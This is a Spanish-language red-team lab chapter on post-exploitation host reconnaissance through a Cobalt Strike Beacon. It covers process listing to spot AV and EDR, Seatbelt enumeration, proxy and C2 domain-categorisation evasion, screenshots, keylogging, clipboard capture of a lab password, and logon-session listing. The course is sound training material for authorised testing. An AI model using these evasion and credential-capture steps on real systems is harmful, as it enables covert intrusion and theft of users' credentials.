Host Reconnaissance
Host Reconnaissance
Antes de llevar a cabo cualquier paso de post-explotación, es prudente evaluar la situación actual. Cada acción que realizamos conlleva cierto riesgo de detección. El nivel de ese riesgo depende de nuestras capacidades y las capacidades de cualquier defensor. Podemos enumerar el host en busca de indicadores sobre qué tan bien está protegido y monitoreado. Esto puede incluir Antivirus (AV) o Endpoint Detection & Response (EDR) software, políticas de auditoría de Windows, PowerShell Logging, Event Forwarding y más.
"Defence in Depth" es un concepto mediante el cual múltiples capas (independientes) de controles de seguridad se colocan en todo un sistema o entorno. La intención es proporcionar un nivel de redundancia para que, en caso de que una falle, otras permanezcan. Debemos estar preparados para sortear múltiples capas de seguridad.
"Offence in Depth" es un concepto similar para red teamers. La información recopilada aquí debe utilizarse para moldear las acciones que llevas a cabo o las tácticas que empleas. Por ejemplo, si tienes un script favorito de PowerShell que realiza "X" pero PowerShell logging está habilitado, es posible que debas evitar realizar "X" por completo o encontrar un medio alternativo para hacerlo (por ejemplo, .NET en lugar de PowerShell). Los buenos ingenieros ofensivos tendrán múltiples herramientas o metodologías para lograr el mismo resultado.
Processes
Lista los procesos en ejecución en un sistema utilizando el comando ps. Puede proporcionar pistas sobre cualquier aplicación personalizada y soluciones AV que puedan estar en ejecución.
beacon> ps
[*] This Beacon PID: YELLOW 7480
PID PPID Name Arch Session User
--- ---- ---- ---- ------- ----
0 0 [System Process]
4 0 System
88 4 Registry
364 4 smss.exe
1532 4 Memory Compression
464 456 csrss.exe
540 532 csrss.exe
564 456 wininit.exe
680 564 services.exe
448 680 svchost.exe
2812 448 taskhostw.exe x64 2 DEV\bfarmer
4632 448 mmc.exe
4796 448 sihost.exe x64 2 DEV\bfarmer
6048 448 taskhostw.exe x64 2 DEV\bfarmer
7896 448 powershell.exe x64 2 DEV\bfarmer
2252 7896 conhost.exe x64 2 DEV\bfarmer
8088 7896 powershell.exe x64 2 DEV\bfarmer
460 680 svchost.exe
1036 460 rdpclip.exe x64 2 DEV\bfarmer
756 680 svchost.exe
812 680 svchost.exe
820 680 svchost.exe
664 820 SearchApp.exe x64 2 DEV\bfarmer
3244 820 unsecapp.exe
3848 820 WmiPrvSE.exe
5408 820 RuntimeBroker.exe x64 2 DEV\bfarmer
6000 820 StartMenuExperienceHost.exe x64 2 DEV\bfarmer
6068 820 RuntimeBroker.exe x64 2 DEV\bfarmer
6612 820 RuntimeBroker.exe x64 2 DEV\bfarmer
6672 820 smartscreen.exe x64 2 DEV\bfarmer
7172 820 TextInputHost.exe x64 2 DEV\bfarmer
7244 820 dllhost.exe x64 2 DEV\bfarmer
7744 820 PhoneExperienceHost.exe x64 2 DEV\bfarmer
8044 820 RuntimeBroker.exe x64 2 DEV\bfarmer
952 680 svchost.exe
1032 680 spoolsv.exe
1104 680 svchost.exe
5196 1104 ctfmon.exe x64 2 DEV\bfarmer
1176 680 svchost.exe
1208 680 svchost.exe
1212 680 svchost.exe
1224 680 svchost.exe
1284 680 svchost.exe
1336 680 svchost.exe
1508 680 svchost.exe
1588 680 svchost.exe
1672 680 svchost.exe
1800 680 svchost.exe
1804 680 svchost.exe
1884 680 svchost.exe
2108 680 SgrmBroker.exe
2340 680 svchost.exe
2492 680 MsMpEng.exe
2500 680 Service 1.exe
2508 680 Service 3.exe
2588 680 VGAuthService.exe
2640 680 Service 2.exe
2668 680 Sysmon64.exe
2740 680 elastic-endpoint.exe
2748 680 elastic-agent.exe
4356 2748 filebeat.exe
4404 4356 conhost.exe
3408 680 svchost.exe
3856 680 WUDFHost.exe
3924 680 svchost.exe
4544 680 svchost.exe
4548 680 SearchIndexer.exe
4556 680 uhssvc.exe
4756 680 svchost.exe
4900 680 svchost.exe x64 2 DEV\bfarmer
4996 680 svchost.exe
5696 680 svchost.exe x64 2 DEV\bfarmer
6760 680 SecurityHealthService.exe
700 564 lsass.exe
852 564 fontdrvhost.exe
636 532 winlogon.exe
8 636 dwm.exe
60 636 LogonUI.exe
856 636 fontdrvhost.exe
3896 1984 csrss.exe
4872 1984 winlogon.exe
3096 4872 dwm.exe
5040 4872 fontdrvhost.exe
5344 5300 explorer.exe x64 2 DEV\bfarmer
6724 5344 SecurityHealthSystray.exe x64 2 DEV\bfarmer
6752 5344 vm3dservice.exe x64 2 DEV\bfarmer
6868 5344 msedge.exe x64 2 DEV\bfarmer
2756 6868 msedge.exe x64 2 DEV\bfarmer
3256 6868 msedge.exe x64 2 DEV\bfarmer
4644 6868 msedge.exe x64 2 DEV\bfarmer
7040 6868 msedge.exe x64 2 DEV\bfarmer
7480 5344 powershell.exe x64 2 DEV\bfarmer
7488 7480 conhost.exe x64 2 DEV\bfarmer
Hay varios procesos interesantes aquí, incluyendo Sysmon64, MsMpEng, elastic-endpoint y elastic-agent. Cuando se ejecuta en integridad media (es decir, un usuario estándar), no podrás ver la arquitectura, sesión e información del usuario para los procesos que tu usuario actual no posee.
La indentación representa relaciones padre/hijo.
Seatbelt
Seatbelt es una herramienta en C# que recopila automáticamente datos de enumeración para un host. Puede verificar configuraciones de seguridad como información del sistema operativo, AV, AppLocker, LAPS, PowerShell logging, políticas de auditoría, versiones de .NET, reglas de firewall y más.
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system
====== AntiVirus ======
Engine : Windows Defender
ProductEXE : windowsdefender://
ReportingEXE : %ProgramFiles%\Windows Defender\MsMpeng.exe
====== AppLocker ======
[*] Applocker is not running because the AppIDSvc is not running
====== DotNet ======
Installed CLR Versions
4.0.30319
Installed .NET Versions
4.8.04084
Anti-Malware Scan Interface (AMSI)
OS supports AMSI : True
.NET version support AMSI : True
[!] The highest .NET version is enrolled in AMSI!
====== InternetSettings ======
HKCU ProxyEnable : 1
HKCU ProxyOverride : *.cyberbotic.io;<local>
HKCU ProxyServer : squid.dev.cyberbotic.io:3128
====== LAPS ======
LAPS Enabled : False
====== OSInfo ======
Hostname : wkstn-2
Domain Name : dev.cyberbotic.io
Username : DEV\bfarmer
Build : 19044.1889
BuildBranch : vb_release
CurrentMajorVersionNumber : 10
CurrentVersion : 6.3
Architecture : AMD64
IsLocalAdmin : True
[*] In medium integrity but user is a local administrator - UAC can be bypassed.
TimeZone : Coordinated Universal Time
====== PowerShell ======
Installed CLR Versions
4.0.30319
Installed PowerShell Versions
2.0
[!] Version 2.0.50727 of the CLR is not installed - PowerShell v2.0 won't be able to run.
5.1.19041.1
====== UAC ======
ConsentPromptBehaviorAdmin : 5 - PromptForNonWindowsBinaries
EnableLUA (Is UAC enabled?) : 1
Algo a tener en cuenta en esta salida es que hay un proxy web configurado - squid.dev.cyberbotic.io. Esto tiene implicaciones para HTTP(S) C2 por una variedad de razones.
Web Categorisation
Los nombres de dominio son categorizados por los proveedores para agruparlos con fines de filtrado. Esto es útil para que todo lo categorizado como "gambling", "drugs", "violence" o "social media", etc., pueda ser bloqueado directamente. Si el dominio utilizado como parte de tu engagement termina en una categoría bloqueada, se vuelve efectivamente inútil.
Dos estrategias para abordar este problema incluyen:
- Obtener un dominio que ya esté en una categoría deseable.
- Solicitar un cambio de categoría para un dominio.
Existen varios sitios web (por ejemplo, de Bluecoat) que facilitan esto, y herramientas como Chameleon pueden ayudar a automatizar el proceso.
HTTPS Offloading
Algunas organizaciones (particularmente aquellas con una PKI interna) realizarán SSL offloading en el tráfico web HTTPS. Esto permite que el proxy descifre el tráfico HTTPS entrante e inspeccione el HTTP en texto claro. Luego, el tráfico se vuelve a cifrar con una clave privada confiable internamente antes de ser reenviado al cliente.
Esto significa que incluso tu tráfico HTTPS C2 puede ser inspeccionado. Algunas herramientas C2 (como Covenant) permiten configurar certificate pinning en los implants, lo que evitaría efectivamente que esto ocurra, pero con el posible costo de que el proxy bloquee el tráfico por completo.
Content Filtering & AV Scanning
Esto puede ser evidente, pero si un proxy web tiene la capacidad de leer e inspeccionar el tráfico HTTP(S), entonces también puede escanear en busca de contenido malicioso conocido. Sin embargo, esto conlleva una penalización en el rendimiento. Otra característica común es bloquear la descarga y/o carga de tipos de archivos particulares, como .exe, .dll, .ps1, etc., lo que puede afectar tu capacidad para entregar payloads.
Authentication
Muchas organizaciones también requerirán alguna forma de autenticación antes de permitir que un cliente utilice un proxy. Esto podría ser cualquier cosa, desde basic auth con una base de datos local, Radius o integración con Active Directory. La integración con AD es una opción muy común y popular, ya que proporciona single sign-on a través de NTLM, Kerberos y LDAP(S).
Esto a menudo significa que un principal debe estar en un grupo de dominio "confiable" antes de poder usar el proxy, como Domain Users o un grupo personalizado. Esto a menudo excluye las cuentas de equipo, lo que significa que los Beacons HTTP(S) que se ejecutan como cuentas locales SYSTEM no pueden funcionar.
Screenshots
Tomar capturas de pantalla del escritorio del usuario puede ser útil para ver qué están haciendo. Puede mostrar qué sistemas o aplicaciones están utilizando, qué accesos directos tienen, en qué documentos están trabajando y así sucesivamente.
Beacon tiene múltiples comandos para tomar capturas de pantalla que funcionan de maneras ligeramente diferentes.
printscreen Take a single screenshot via PrintScr method
screenshot Take a single screenshot
screenwatch Take periodic screenshots of desktop
beacon> screenshot
[*] received screenshot of Sticky Notes from bfarmer (46kb)
Para ver todas las capturas de pantalla que se han tomado, ve a View > Screenshots.
Keylogger
Un keylogger puede capturar las pulsaciones de teclas de un usuario, lo cual es especialmente útil para capturar nombres de usuario, contraseñas y otra información sensible.
beacon> keylogger
[+] received keystrokes from *Untitled - Notepad by bfarmer
Todas las pulsaciones de teclas pueden verse en View > Keystrokes.
El keylogger se ejecuta como un job que puede detenerse con el comando jobkill.
beacon> jobs
[*] Jobs
JID PID Description
--- --- -----------
6 0 keystroke logger
beacon> jobkill 6
Clipboard
El comando clipboard capturará cualquier texto del portapapeles del usuario (no captura imágenes ni ningún otro tipo de datos). Esto puede ser útil para capturar credenciales que se estén copiando/pegando, lo cual puede ser especialmente común cuando se utilizan gestores de contraseñas.
Este es un comando puntual (no se ejecuta como un job) y muestra el contenido directamente en la consola de Beacon.
beacon> clipboard
[*] Tasked beacon to get clipboard contents
Clipboard Data (8 bytes):
Sup3rman
User Sessions
Los usuarios que están actualmente conectados a esta misma máquina pueden ser buenos objetivos para atacar. Si tienen más privilegios que nuestro usuario actual en el dominio, pueden ser buenos candidatos para movimiento lateral hacia otras máquinas. El capítulo Domain Reconnaissance mostrará métodos para realizar este tipo de enumeración.
El comando net logons listará las sesiones de inicio de sesión en esta máquina.
beacon> net logons
Logged on users at \\localhost:
DEV\bfarmer
DEV\jking
DEV\WKSTN-2$

